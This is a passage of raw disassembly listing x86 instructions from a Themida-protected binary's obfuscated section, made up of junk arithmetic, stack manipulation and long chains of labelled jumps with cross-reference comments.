Themida_:0059EB09j xchg ebp, [esp] mov esp, [esp] push edi mov edi, 17B5386Dh add edx, 5A186Dh add edx, 60187305h jmp loc_5A7232 ; --------------------------------------------------------------------------- loc_5A5C90: ; CODE XREF: Themida_:005A456Bj pop ebp add ebp, 4 sub ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_5AE8E5 ; --------------------------------------------------------------------------- loc_5A5CAD: ; CODE XREF: Themida_:005A98BBj push 1936h jmp loc_5A981B ; --------------------------------------------------------------------------- loc_5A5CB7: ; CODE XREF: Themida_:005ACBB8j xor [esp], ebp xor ebp, [esp] jmp loc_5A05E5 ; --------------------------------------------------------------------------- loc_5A5CC2: ; CODE XREF: Themida_:0059FF9Cj push ecx jmp loc_5AC3B4 ; --------------------------------------------------------------------------- loc_5A5CC8: ; CODE XREF: Themida_:005ADDA6j pop esi dec edx not edx shr edx, 4 xor edx, 0A425F21h sub edi, 133874F9h add edi, edx add edi, 133874F9h mov edx, [esp] add esp, 4 sub edi, 4 push edi jmp loc_5A8617 ; --------------------------------------------------------------------------- loc_5A5CF5: ; CODE XREF: Themida_:005A99C2j mov esi, 2 mov edx, esi pop esi add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A5D17: ; CODE XREF: Themida_:005AEA0Cj pop ecx or ebx, 5E472AB8h not ebx push esi mov esi, 5CEC335Bh shr esi, 8 jmp loc_59EE1A ; --------------------------------------------------------------------------- loc_5A5D2E: ; CODE XREF: Themida_:005AA2CDj push esi push edi mov edi, 4 mov esi, edi pop edi push 3C91h mov [esp], ecx mov ecx, 27EA4C31h sub [esp+8], ecx jmp loc_59AA81 ; --------------------------------------------------------------------------- loc_5A5D4E: ; CODE XREF: Themida_:005A0CFCj mov edx, 4EF11EAFh mov edi, edx pop edx sub esi, edi pop edi mov ebp, esi pop esi push ebx mov ebx, 2A63C6Fh jmp loc_59FB5F ; --------------------------------------------------------------------------- loc_5A5D67: ; CODE XREF: Themida_:005ABC4Aj sub edx, 61E41623h push ebx mov ebx, 5EB5687Ah jmp loc_5A5E66 ; --------------------------------------------------------------------------- loc_5A5D78: ; CODE XREF: Themida_:005A5063j pop eax push ebx jmp loc_59F95C ; --------------------------------------------------------------------------- loc_5A5D7F: ; CODE XREF: Themida_:loc_59A57Ej ; Themida_:0059C41Fj mov dx, 35DEh mov cx, dx mov dx, [esp] add esp, 2 not cx push small 1E48h mov [esp], si push small 0BAF5h pop si xor cx, si jmp loc_5AF962 ; --------------------------------------------------------------------------- loc_5A5DA9: ; CODE XREF: Themida_:00599A00j mov edi, 8C75C1Bh add edi, 0F738A3E9h jmp loc_5A986F ; --------------------------------------------------------------------------- loc_5A5DB9: ; CODE XREF: Themida_:005A7C98j add edi, 4 push 47DFh jmp loc_5A6E10 ; --------------------------------------------------------------------------- loc_5A5DC9: ; CODE XREF: Themida_:005A2C29j dec esi not esi jmp loc_5A48FF ; --------------------------------------------------------------------------- loc_5A5DD1: ; CODE XREF: Themida_:0059E09Bj pop esi add esp, 4 sub esi, 4D615FF9h mov eax, [esp] add esp, 4 add eax, 61816184h jmp loc_5A9540 ; --------------------------------------------------------------------------- loc_5A5DF1: ; CODE XREF: Themida_:005AF869j add dword ptr [esp], 4 jmp loc_5A1E1C ; --------------------------------------------------------------------------- loc_5A5DFD: ; CODE XREF: Themida_:0059E7F2j sub ecx, edi pop edi add edx, 5672391Eh sub edx, ecx jmp loc_5A0C6B ; --------------------------------------------------------------------------- loc_5A5E0D: ; CODE XREF: Themida_:005A5FA5j push ebx jmp loc_5A9651 ; --------------------------------------------------------------------------- loc_5A5E13: ; CODE XREF: Themida_:005A2CE0j pop edx add esp, 4 jmp loc_5A566D ; --------------------------------------------------------------------------- loc_5A5E1C: ; CODE XREF: Themida_:loc_5A11C8j jmp loc_5AA4DB ; --------------------------------------------------------------------------- loc_5A5E21: ; CODE XREF: Themida_:0059E567j ; Themida_:005A40DAj mov [esp], edi jmp loc_5AB47E ; --------------------------------------------------------------------------- loc_5A5E29: ; CODE XREF: Themida_:0059DF0Fj mov eax, 57172B36h inc eax jge loc_59DF8E jmp loc_5A87B6 ; --------------------------------------------------------------------------- xor esi, eax push edx mov edx, esp jmp loc_5A1B1E ; --------------------------------------------------------------------------- loc_5A5E44: ; CODE XREF: Themida_:0059F97Cj ; Themida_:005ACB8Aj neg eax ja loc_59F756 xor eax, 7C158AEh jnb loc_5AD46B neg eax sub eax, 11F7667Ch xor eax, 9DCEA64Fh mov edi, eax push edx loc_5A5E66: ; CODE XREF: Themida_:005A5D73j xor ebx, 75F75B7Fh sub edx, ebx pop ebx sub esp, 4 mov [esp], ebx push edx mov edx, 5A1C44B9h add edx, 0F9902145h or edx, 3B0D0E2Dh jbe loc_5A5FC5 jmp loc_59DD2A ; --------------------------------------------------------------------------- loc_5A5E95: ; CODE XREF: Themida_:005A61E3j push 625Ah mov [esp], ebx push ecx mov cl, 0D1h mov bh, 0F2h sub bh, cl pop ecx mov cl, 0DEh xor cl, bh pop ebx add bl, 0B7h sub bl, cl sub bl, 0B7h mov cx, [esp] add esp, 2 sub esp, 2 mov [esp], dx push 1793h mov [esp], ebx jmp loc_59CFA1 ; --------------------------------------------------------------------------- loc_5A5ED0: ; CODE XREF: Themida_:005AD78Bj xor ebx, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx jmp loc_5A1363 ; --------------------------------------------------------------------------- loc_5A5EE0: ; CODE XREF: Themida_:005AFCFBj add al, dh add al, 4Eh pop edx shl al, 3 inc al sub al, 8 jmp loc_598C64 ; --------------------------------------------------------------------------- loc_5A5EF1: ; CODE XREF: Themida_:loc_5A0799j jmp loc_5999E2 ; --------------------------------------------------------------------------- loc_5A5EF6: ; CODE XREF: Themida_:0059A82Bj pop eax add edi, edx pop edx sub edi, ecx sub edi, 199B4808h add edi, 18794660h jmp loc_5A8D9A ; --------------------------------------------------------------------------- loc_5A5F0D: ; CODE XREF: Themida_:0059D36Fj ; Themida_:005AA551j pop esp jmp loc_5A5A90 ; --------------------------------------------------------------------------- loc_5A5F13: ; CODE XREF: Themida_:005A60FBj push esi jmp loc_5A86B6 ; --------------------------------------------------------------------------- loc_5A5F19: ; CODE XREF: Themida_:005AC162j add esi, 18B135D0h sub esi, ebx sub esi, 18B135D0h pop ebx mov edi, esi jmp loc_5AECD7 ; --------------------------------------------------------------------------- loc_5A5F2F: ; CODE XREF: Themida_:0059D503j add eax, 932166Eh push eax pop ecx jmp loc_59EEDE ; --------------------------------------------------------------------------- loc_5A5F3B: ; CODE XREF: Themida_:005A569Fj mov edi, 70384A05h dec edi jns loc_59FE4F and edi, 63E9773Ah jmp loc_59EE2E ; --------------------------------------------------------------------------- push esi push edx mov ch, al loc_5A5F56: ; CODE XREF: Themida_:005A28BCj ; Themida_:005A9CD0j mov eax, 0E241956h add edi, 9A46FE6h sub edi, eax sub edi, 9A46FE6h pop eax jmp loc_59AD56 ; --------------------------------------------------------------------------- loc_5A5F6F: ; CODE XREF: Themida_:0059FD11j push small 31C2h mov [esp], dx mov dh, 49h sub bl, dh pop dx jmp loc_5A4778 ; --------------------------------------------------------------------------- loc_5A5F82: ; CODE XREF: Themida_:005A942Aj push 669Ah mov [esp], edi mov edi, 74BC6D6Dh add edx, 5D4144BEh sub edx, 1BA96206h jmp loc_5AE2B6 ; --------------------------------------------------------------------------- loc_5A5FA0: ; CODE XREF: Themida_:005A4D60j mov ecx, 33526348h jmp loc_5A5E0D ; --------------------------------------------------------------------------- loc_5A5FAA: ; CODE XREF: Themida_:0059B199j push ebp push eax mov eax, 5FC22C7Bh push 5FC22C7Fh pop ebp xor ebp, eax pop eax sub eax, ebp pop ebp xchg eax, [esp] jmp loc_59ECAF ; --------------------------------------------------------------------------- loc_5A5FC5: ; CODE XREF: Themida_:005A5E8Aj jmp loc_5A3998 ; --------------------------------------------------------------------------- loc_5A5FCA: ; CODE XREF: Themida_:005A2D8Dj pop ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 352951E6h shr ebx, 7 jmp loc_5AE785 ; --------------------------------------------------------------------------- loc_5A5FF0: ; CODE XREF: Themida_:005992ECj dec ch shr ch, 8 push dx mov dl, 0F4h and ch, dl pop dx sub ch, 48h xor ch, 41h sub al, ch jmp loc_5ACD10 ; --------------------------------------------------------------------------- loc_5A600A: ; CODE XREF: Themida_:005AE040j inc edx add edx, 2D131552h sub edx, 5A8A62C9h add edi, edx pop edx push ebp mov ebp, 4 add edi, ebp jmp loc_5A89DD ; --------------------------------------------------------------------------- loc_5A6027: ; CODE XREF: Themida_:0059FF12j pop edi add esp, 4 pop dword ptr [esp] jmp loc_5A0E10 ; --------------------------------------------------------------------------- loc_5A6036: ; CODE XREF: Themida_:005A808Bj add esi, 4 push ebp jmp loc_5A321D ; --------------------------------------------------------------------------- loc_5A6042: ; CODE XREF: Themida_:loc_5A7CB4j neg ah jge loc_5AEF71 xor ah, 0BCh jmp loc_5AE78B ; --------------------------------------------------------------------------- loc_5A6052: ; CODE XREF: Themida_:00598A98j push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 sub ebx, 44CD5745h add ebx, ebp add ebx, 44CD5745h pop ebp add ebx, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_598BCE push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edi mov edi, esp jmp loc_59BC44 ; --------------------------------------------------------------------------- loc_5A60A8: ; CODE XREF: Themida_:005AA275j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5AE3AA ; --------------------------------------------------------------------------- loc_5A60C3: ; CODE XREF: Themida_:005AA8EDj add ebx, 4 xchg ebx, [esp] pop esp push 283Fh mov [esp], esi mov esi, esp push ecx jmp loc_5A38EF ; --------------------------------------------------------------------------- loc_5A60DD: ; CODE XREF: Themida_:005A69FFj ; Themida_:005AE551j push 14B4h mov [esp], eax push 5FCFh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_5A35A4 ; --------------------------------------------------------------------------- loc_5A60FA: ; CODE XREF: Themida_:005A4ECFj dec edx jmp loc_5A5F13 ; --------------------------------------------------------------------------- loc_5A6100: ; CODE XREF: Themida_:005A9816j jmp loc_5AC353 ; --------------------------------------------------------------------------- loc_5A6105: ; DATA XREF: Themida_:0059890Do mov cx, [esp] jmp loc_5A9712 ; --------------------------------------------------------------------------- loc_5A610E: ; CODE XREF: Themida_:005A6989j mov ebp, 4 push esi mov esi, 69AA6793h sub eax, esi pop esi add eax, 794C061Bh jmp loc_5A37FC ; --------------------------------------------------------------------------- loc_5A6126: ; CODE XREF: Themida_:00599FB3j ; Themida_:005A8ED5j sub esp, 4 mov [esp], ebx mov ebx, eax mov edi, ebx mov ebx, [esp] add esp, 4 pop eax xor edi, ebx jmp loc_5AEF26 ; --------------------------------------------------------------------------- loc_5A6141: ; CODE XREF: Themida_:005A49E2j ; Themida_:loc_5A68B5j add ebx, 0BAD26954h mov edi, ebx pop ebx push edx mov edx, 52977B51h and edi, edx jmp loc_5A8E95 ; --------------------------------------------------------------------------- loc_5A6157: ; CODE XREF: Themida_:005A79E7j push eax mov eax, 516C5600h add [esp+8], eax pop eax sub dword ptr [esp+4], 579D1D34h pop ebp jmp loc_5A40DF ; --------------------------------------------------------------------------- loc_5A6170: ; CODE XREF: Themida_:005AABD8j add bl, 0B6h jmp loc_59D673 ; --------------------------------------------------------------------------- loc_5A6178: ; CODE XREF: Themida_:0059CAC2j mov eax, 76DE447Dh shr eax, 1 push ebp mov ebp, 1FC40826h and eax, ebp pop ebp add eax, 1A92E97h add eax, 7AD96CCEh sub eax, 23A62029h jmp loc_599CEF ; --------------------------------------------------------------------------- loc_5A619C: ; CODE XREF: Themida_:005A9A06j add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi xchg ecx, [esp] jmp loc_5A3040 ; --------------------------------------------------------------------------- loc_5A61B1: ; CODE XREF: Themida_:0059A8BDj shr ecx, 3 jmp loc_5A709E ; --------------------------------------------------------------------------- loc_5A61B9: ; CODE XREF: Themida_:005ABA1Dj sub al, dh pop dx pop ecx push 67B2h mov [esp], edx mov dl, 8Ch or dl, 0C4h xor dl, 62h sub al, dl pop edx push 67ABh mov [esp], ebx mov bl, 73h push small 34DAh mov [esp], cx jmp loc_5A5E95 ; --------------------------------------------------------------------------- loc_5A61E8: ; CODE XREF: Themida_:005A3AEAj js loc_5A99C7 add esi, 58BD57FAh jmp loc_59B498 ; --------------------------------------------------------------------------- loc_5A61F9: ; CODE XREF: Themida_:0059D6E8j mov ebx, [esp] add esp, 4 add al, 19h add al, cl jmp loc_5AAF75 ; --------------------------------------------------------------------------- loc_5A6208: ; CODE XREF: Themida_:0059D2C7j ; Themida_:0059EA34j pop esp push 64h mov [esp], ecx mov ecx, 84F394Ch push edx mov edx, 0ECE5187h or ecx, edx pop edx jmp loc_5AC39A ; --------------------------------------------------------------------------- loc_5A6224: ; CODE XREF: Themida_:0059DAC0j pop edi shl edi, 5 add edi, 5B3755BBh mov ebx, edi pop edi mov eax, ebx mov ebx, [esp] add esp, 4 shr eax, 1 add eax, 19C86932h jo loc_5A84F1 shr eax, 2 jmp loc_5AAEBC ; --------------------------------------------------------------------------- loc_5A6251: ; CODE XREF: Themida_:005A94C3j add dword ptr [esp], 4 pop edi add edi, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 sub edi, ebx jmp loc_5A049A ; --------------------------------------------------------------------------- loc_5A6274: ; CODE XREF: Themida_:005A41A2j mov edi, esp add edi, 4 add edi, 4 jmp loc_599BB3 ; --------------------------------------------------------------------------- loc_5A6284: ; CODE XREF: Themida_:005A56DDj add esi, ecx jmp loc_5AA9E2 ; --------------------------------------------------------------------------- loc_5A628B: ; CODE XREF: Themida_:005A59FEj mov edi, 4 sub esi, 7A4B35CFh jmp loc_5AED20 ; --------------------------------------------------------------------------- loc_5A629B: ; CODE XREF: Themida_:0059DA84j push ebp push ebx mov ebx, 2 mov ebp, ebx pop ebx sub ebx, 57E95E3Eh add ebx, ebp push ebp push edi sub esp, 4 jmp loc_5AD7A9 ; --------------------------------------------------------------------------- loc_5A62B7: ; CODE XREF: Themida_:005A8F84j or edi, 152627D7h shr edi, 4 push eax mov eax, 3AD3E5E7h jmp loc_59FB94 ; --------------------------------------------------------------------------- loc_5A62CB: ; CODE XREF: Themida_:005A358Bj mov ecx, [esp] add esp, 4 jmp loc_5A4F44 ; --------------------------------------------------------------------------- loc_5A62D9: ; CODE XREF: Themida_:0059971Ej push dword ptr [esp+4] jmp loc_5A8D33 ; --------------------------------------------------------------------------- loc_5A62E2: ; CODE XREF: Themida_:005A297Cj pop ebx jmp loc_5A0D75 ; --------------------------------------------------------------------------- loc_5A62E8: ; CODE XREF: Themida_:0059B9ACj and ecx, 116016A5h push ebx mov ebx, 3A35CE2h push eax jmp loc_5A1E8D ; --------------------------------------------------------------------------- loc_5A62FA: ; CODE XREF: Themida_:0059EF47j add edx, 4 xchg edx, [esp] pop esp loc_5A6301: ; CODE XREF: Themida_:0059DA3Fj push 6D1Bh mov [esp], ebx mov eax, [esp] push 3814h jmp loc_5AE2DD ; --------------------------------------------------------------------------- loc_5A6316: ; CODE XREF: Themida_:0059C88Bj mov edx, [esp] add esp, 4 add edx, ebp pop ebp push edi mov edi, 2 add edx, edi pop edi xchg edx, [esp] mov esp, [esp] push 7793h mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp jmp loc_5AA7F5 ; --------------------------------------------------------------------------- loc_5A634E: ; CODE XREF: Themida_:005A6B9Cj pop edx add edi, 4 push 6BE1h mov [esp], edi push dword ptr [esp+4] jmp loc_59F272 ; --------------------------------------------------------------------------- loc_5A6363: ; CODE XREF: Themida_:0059C18Aj add eax, 14606081h jmp loc_5A0671 ; --------------------------------------------------------------------------- loc_5A636D: ; CODE XREF: Themida_:00599FD6j push edx mov dl, 0E2h mov ch, dl pop edx shr ch, 6 and ch, 1Ch sub ch, 0F9h add ch, 1Fh jmp loc_5990D0 ; --------------------------------------------------------------------------- loc_5A6384: ; CODE XREF: Themida_:005AAB1Aj add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_59FCEA ; --------------------------------------------------------------------------- loc_5A6393: ; CODE XREF: Themida_:0059E374j add edx, ecx pop ecx pop ecx jmp loc_5A797C ; --------------------------------------------------------------------------- loc_5A639C: ; CODE XREF: Themida_:005AAF2Aj add edx, ebx jmp loc_5A4FD3 ; --------------------------------------------------------------------------- loc_5A63A3: ; CODE XREF: Themida_:005A2381j sub bl, 0F7h sub bl, 0B1h sub bl, cl add bl, 0B1h push eax jmp loc_59F1A5 ; --------------------------------------------------------------------------- loc_5A63B4: ; CODE XREF: Themida_:005A9825j push ebx mov ebx, 5CBE11C7h shr ebx, 1 jmp loc_5A8744 ; --------------------------------------------------------------------------- loc_5A63C1: ; CODE XREF: Themida_:005A9FCAj pop edi mov edi, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edx, 90BF89F5h add edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx push 4 jmp loc_598E7F ; --------------------------------------------------------------------------- loc_5A6400: ; CODE XREF: Themida_:005A27FEj jnz loc_599DE1 shr edx, 3 jz loc_59E842 and dl, 74h loc_5A6412: ; CODE XREF: Themida_:005A4AACj neg ebp jmp loc_5A31EB ; --------------------------------------------------------------------------- loc_5A6419: ; CODE XREF: Themida_:00599CEAj push eax jmp loc_59FBA7 ; --------------------------------------------------------------------------- loc_5A641F: ; CODE XREF: Themida_:005A6497j sub bh, 30h or ah, bh pop ebx jmp loc_5A175D ; --------------------------------------------------------------------------- loc_5A642A: ; CODE XREF: Themida_:005AFD8Aj xor ecx, 43682AD2h jns loc_5A140A sub ecx, 37B9612Dh jmp loc_5A7139 ; --------------------------------------------------------------------------- loc_5A6441: ; CODE XREF: Themida_:005AE20Fj sub esp, 4 push 2138h mov [esp], esp jmp loc_5A3859 ; --------------------------------------------------------------------------- loc_5A6451: ; CODE XREF: Themida_:0059A675j sub edi, 480B4EAEh sub edi, ebx add edi, 480B4EAEh pop ebx add edi, 31731B84h sub edi, ebp sub edi, 31731B84h add edi, 280971D8h push dword ptr [esp] jmp loc_5A4215 ; --------------------------------------------------------------------------- loc_5A647C: ; CODE XREF: Themida_:005AD71Ej add edi, ebp jmp loc_59C2E8 ; --------------------------------------------------------------------------- loc_5A6483: ; CODE XREF: Themida_:0059F7C0j pop edx jmp loc_5A10FC ; --------------------------------------------------------------------------- loc_5A6489: ; CODE XREF: Themida_:005A7670j ; Themida_:005A7D54j ... pop esp jmp loc_5ACDC7 ; --------------------------------------------------------------------------- loc_5A648F: ; CODE XREF: Themida_:005A1004j push eax mov ah, 68h push ebx mov bh, 50h dec bh jmp loc_5A641F ; --------------------------------------------------------------------------- loc_5A649C: ; CODE XREF: Themida_:0059BD93j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ebp, 4 jmp loc_5A150C ; --------------------------------------------------------------------------- loc_5A64B4: ; CODE XREF: Themida_:005AD8FBj add ebx, edi add ebx, 0EB10760h pop edi push ecx jmp loc_5AD5EB ; --------------------------------------------------------------------------- loc_5A64C3: ; CODE XREF: Themida_:005A1F0Dj xor [esp], ebx xor ebx, [esp] mov esp, [esp] shr ecx, 0Ah sub esp, 4 jmp loc_5A28C1 ; --------------------------------------------------------------------------- loc_5A64D7: ; CODE XREF: Themida_:005A6D2Ej pop ecx neg ebp add ebp, 2B4D7FC2h add ebx, ebp push dword ptr [esp] jmp loc_5A1490 ; --------------------------------------------------------------------------- loc_5A64EA: ; CODE XREF: Themida_:0059B401j sub ecx, 20C02FDh jmp loc_5ACC67 ; --------------------------------------------------------------------------- mov ax, [esp] push 194h mov [esp], eax push esp mov eax, [esp] jmp loc_5A228F ; --------------------------------------------------------------------------- loc_5A650A: ; CODE XREF: Themida_:005AD207j pop edi add esp, 4 push edx mov edx, 409D32BBh add ecx, edx mov edx, [esp] add esp, 4 push edx mov edx, 127229DBh push ebx push esi mov esi, 54F45565h inc esi or esi, 15F9738Dh js loc_5A5173 neg esi xor esi, 565064D7h jnp loc_59C59E jmp loc_5A14FF ; --------------------------------------------------------------------------- loc_5A654C: ; CODE XREF: Themida_:0059D3F4j pop ecx add [esp+4], edi pop edi jmp loc_5A0FD2 ; --------------------------------------------------------------------------- loc_5A6557: ; CODE XREF: Themida_:005A2732j ; Themida_:005A5682j mov esp, [esp] mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_5AB8D9 ; --------------------------------------------------------------------------- loc_5A656B: ; CODE XREF: Themida_:005A1405j mov ecx, [esp] add esp, 4 sub ebp, 252451AFh add ebp, ebx add ebp, 252451AFh jmp loc_5A3849 ; --------------------------------------------------------------------------- loc_5A6587: ; CODE XREF: Themida_:005AD92Aj neg edi jmp loc_5ADB9C ; --------------------------------------------------------------------------- loc_5A658E: ; CODE XREF: Themida_:005A7268j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_59D331 ; --------------------------------------------------------------------------- loc_5A65A2: ; CODE XREF: Themida_:005A9D53j mov ebx, [esp] add esp, 4 dec dword ptr [edx+38h] jnz loc_5AB869 and dword ptr [edx+38h], 371A3221h jnb loc_5A49D3 mov ebp, eax loc_5A65C0: ; CODE XREF: Themida_:005A0A49j mov edi, 0D3674Ch add ecx, edi jmp loc_59A3DF ; --------------------------------------------------------------------------- loc_5A65CC: ; CODE XREF: Themida_:0059D979j mov bh, 30h jmp loc_5A57FA ; --------------------------------------------------------------------------- loc_5A65D3: ; CODE XREF: Themida_:005A70C2j mov ch, 44h mov dl, ch pop ecx sub dl, 64h push edx inc byte ptr [esp] pop edx shl dl, 8 and dl, 0DAh push ax mov ah, 0EEh sub dl, ah pop ax sub bl, dl pop edx movzx eax, al mov dx, [esp] push 0E4Eh mov [esp], ebx jmp loc_5A1C6E ; --------------------------------------------------------------------------- mov cx, [esp] push 4781h mov [esp], edx push 12A4h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_59BA1E ; --------------------------------------------------------------------------- loc_5A6625: ; CODE XREF: Themida_:005AA573j sub edx, 4 jmp loc_5AF431 ; --------------------------------------------------------------------------- loc_5A662D: ; CODE XREF: Themida_:0059D727j ; Themida_:005A318Fj mov edi, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A663B: ; CODE XREF: Themida_:005A8412j mov edi, 5CE602F5h sub edi, 5E1A4347h not edi jmp loc_5A0142 ; --------------------------------------------------------------------------- loc_5A664D: ; CODE XREF: Themida_:005A861Bj mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_5A2F44 ; --------------------------------------------------------------------------- loc_5A6664: ; CODE XREF: Themida_:005AAF17j sub esi, 721A0530h jmp loc_59C7FD ; --------------------------------------------------------------------------- loc_5A666F: ; CODE XREF: Themida_:0059E9EFj jnp loc_5A9374 jmp loc_5A4FB6 ; --------------------------------------------------------------------------- jns loc_59EDAC loc_5A6680: ; CODE XREF: Themida_:0059E5C4j mov ecx, [esp] jmp loc_5A7A2F ; --------------------------------------------------------------------------- loc_5A6688: ; CODE XREF: Themida_:005A3B21j add esp, 4 push 41F6h mov [esp], edx mov edx, 2A9C011Bh shl edx, 8 jnp loc_59E0DE jmp loc_5A13D6 ; --------------------------------------------------------------------------- loc_5A66A9: ; CODE XREF: Themida_:0059CB07j mov [esp], di mov di, 15E8h sub [esp+4], di pop di add word ptr [esp+2], 3B15h pop cx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A66C6: ; CODE XREF: Themida_:005A0DE2j xor [esp], edi jmp loc_5AC791 ; --------------------------------------------------------------------------- loc_5A66CE: ; CODE XREF: Themida_:0059BFEEj or ebx, 0D181B53h jmp loc_5A7791 ; --------------------------------------------------------------------------- loc_5A66D9: ; CODE XREF: Themida_:005AC127j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], eax mov eax, 20AD2E00h shr eax, 7 jns loc_5A3358 add eax, 21A53C47h jo loc_59EF46 pop edi loc_5A670C: ; CODE XREF: Themida_:0059F751j rol word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A6716: ; CODE XREF: Themida_:0059E63Dj jmp loc_5A1DFD ; --------------------------------------------------------------------------- loc_5A671B: ; CODE XREF: Themida_:005A08E7j push eax mov eax, 52CD203Ah xor eax, 552C3287h and edi, eax mov eax, [esp] add esp, 4 shr edi, 4 not edi push 68EDh mov [esp], edi not dword ptr [esp] pop edi dec edi add edi, 0FFDBF005h add edx, edi jmp loc_5A7DB0 ; --------------------------------------------------------------------------- loc_5A6750: ; CODE XREF: Themida_:005ABF51j mov bl, 0C5h add al, bl mov bx, [esp] add esp, 2 add al, dh sub al, 0C5h sub al, 0BBh add al, 4Fh jmp loc_59CA13 ; --------------------------------------------------------------------------- loc_5A6768: ; CODE XREF: Themida_:005A30A7j ; Themida_:005ADCEBj neg ebx sub ebx, 318B78F0h push esi mov esi, 19CA2607h dec esi or esi, 0DB8193Bh add esi, 56372AD5h sub ebx, 16815B24h add ebx, esi jmp loc_59A108 ; --------------------------------------------------------------------------- loc_5A6790: ; CODE XREF: Themida_:005AC030j add ecx, 2 jmp loc_59FCDA ; --------------------------------------------------------------------------- dd 66D830ACh, 6CE95253h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A67A3: ; CODE XREF: Themida_:0059A171j shr edi, 4 sub edi, offset word_5E2AFA jmp loc_5996E6 ; --------------------------------------------------------------------------- loc_5A67B1: ; CODE XREF: Themida_:0059F569j add ebx, 350E23FDh add ebx, 5C5B487Ch jmp loc_5AF299 ; --------------------------------------------------------------------------- loc_5A67C2: ; CODE XREF: Themida_:005A4FFDj mov [esp], eax jmp loc_59D310 ; --------------------------------------------------------------------------- loc_5A67CA: ; CODE XREF: Themida_:005A2387j ; Themida_:005A41E8j ... xchg edx, [esp] mov esp, [esp] mov [esp], esi push edi push esi sub esp, 4 mov [esp], ecx mov ecx, 759C6D12h mov esi, ecx pop ecx mov edi, esi mov esi, [esp] add esp, 4 dec edi jmp loc_59B02D ; --------------------------------------------------------------------------- loc_5A67F4: ; CODE XREF: Themida_:0059DE62j push edi mov di, 37EDh not di xor di, 2D5Ch inc di not di add di, 5D33h sub di, 544Fh sub bx, di mov edi, [esp] add esp, 4 mov dx, bx jmp loc_59EE0E ; --------------------------------------------------------------------------- loc_5A6821: ; CODE XREF: Themida_:005ACBA4j pop eax mov eax, [esp] push 119Fh mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5AE333 ; --------------------------------------------------------------------------- loc_5A6843: ; CODE XREF: Themida_:0059E34Fj jmp loc_59CB95 ; --------------------------------------------------------------------------- loc_5A6848: ; CODE XREF: Themida_:005AD8E8j dec word ptr [esp] pushf jmp loc_5AE888 ; --------------------------------------------------------------------------- loc_5A6852: ; CODE XREF: Themida_:005A6B1Ej push dword ptr [esp] jmp loc_5A3499 ; --------------------------------------------------------------------------- loc_5A685A: ; CODE XREF: Themida_:0059E7B9j mov ebp, ebx pop ebx mov ebx, 0C22F9333h add ebx, ebp pop ebp add ecx, ebx jmp loc_5A4E19 ; --------------------------------------------------------------------------- loc_5A686C: ; CODE XREF: Themida_:0059EC9Ej sub dword ptr [esp+4], 6F405773h pop ebx pop ecx push eax mov eax, 22381755h jmp loc_5A7811 ; --------------------------------------------------------------------------- loc_5A6881: ; CODE XREF: Themida_:005A963Bj mov [esp], esi mov esi, 11424521h dec esi jnz loc_59992B or esi, 5E947282h mov al, bh mov eax, ebx loc_5A689A: ; CODE XREF: Themida_:00599209j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 6838h mov [esp], edi push ebp jmp loc_5A039C ; --------------------------------------------------------------------------- loc_5A68B5: ; CODE XREF: Themida_:loc_59ED32j jmp loc_5A6141 ; --------------------------------------------------------------------------- loc_5A68BA: ; CODE XREF: Themida_:005A9E97j ; Themida_:005AB36Aj pop ecx not edi add edi, 6E20F691h jmp loc_5A7628 ; --------------------------------------------------------------------------- loc_5A68C8: ; CODE XREF: Themida_:005A272Aj push ebx jmp loc_5AC33B ; --------------------------------------------------------------------------- loc_5A68CE: ; DATA XREF: Themida_:0059872Co push dword ptr [esp] mov eax, [esp] add esp, 4 push edx mov edx, esp push ecx jmp loc_59E5AE ; --------------------------------------------------------------------------- loc_5A68E0: ; CODE XREF: Themida_:0059E1A4j mov ebx, [esp] jmp loc_5AA717 ; --------------------------------------------------------------------------- loc_5A68E8: ; CODE XREF: Themida_:005A4E99j xchg ebx, [esp] pop esp jmp loc_59D9FC ; --------------------------------------------------------------------------- loc_5A68F1: ; CODE XREF: Themida_:0059E5A9j push ecx mov ecx, 4 add edi, ecx pop ecx push esi push ebp jmp loc_5A7EFC ; --------------------------------------------------------------------------- loc_5A6901: ; CODE XREF: Themida_:0059ED53j sub cl, dl push ebx mov bh, 0C3h add cl, bh jmp loc_59AA08 ; --------------------------------------------------------------------------- loc_5A690D: ; CODE XREF: Themida_:005A1FE0j jmp loc_5A09F8 ; --------------------------------------------------------------------------- loc_5A6912: ; CODE XREF: 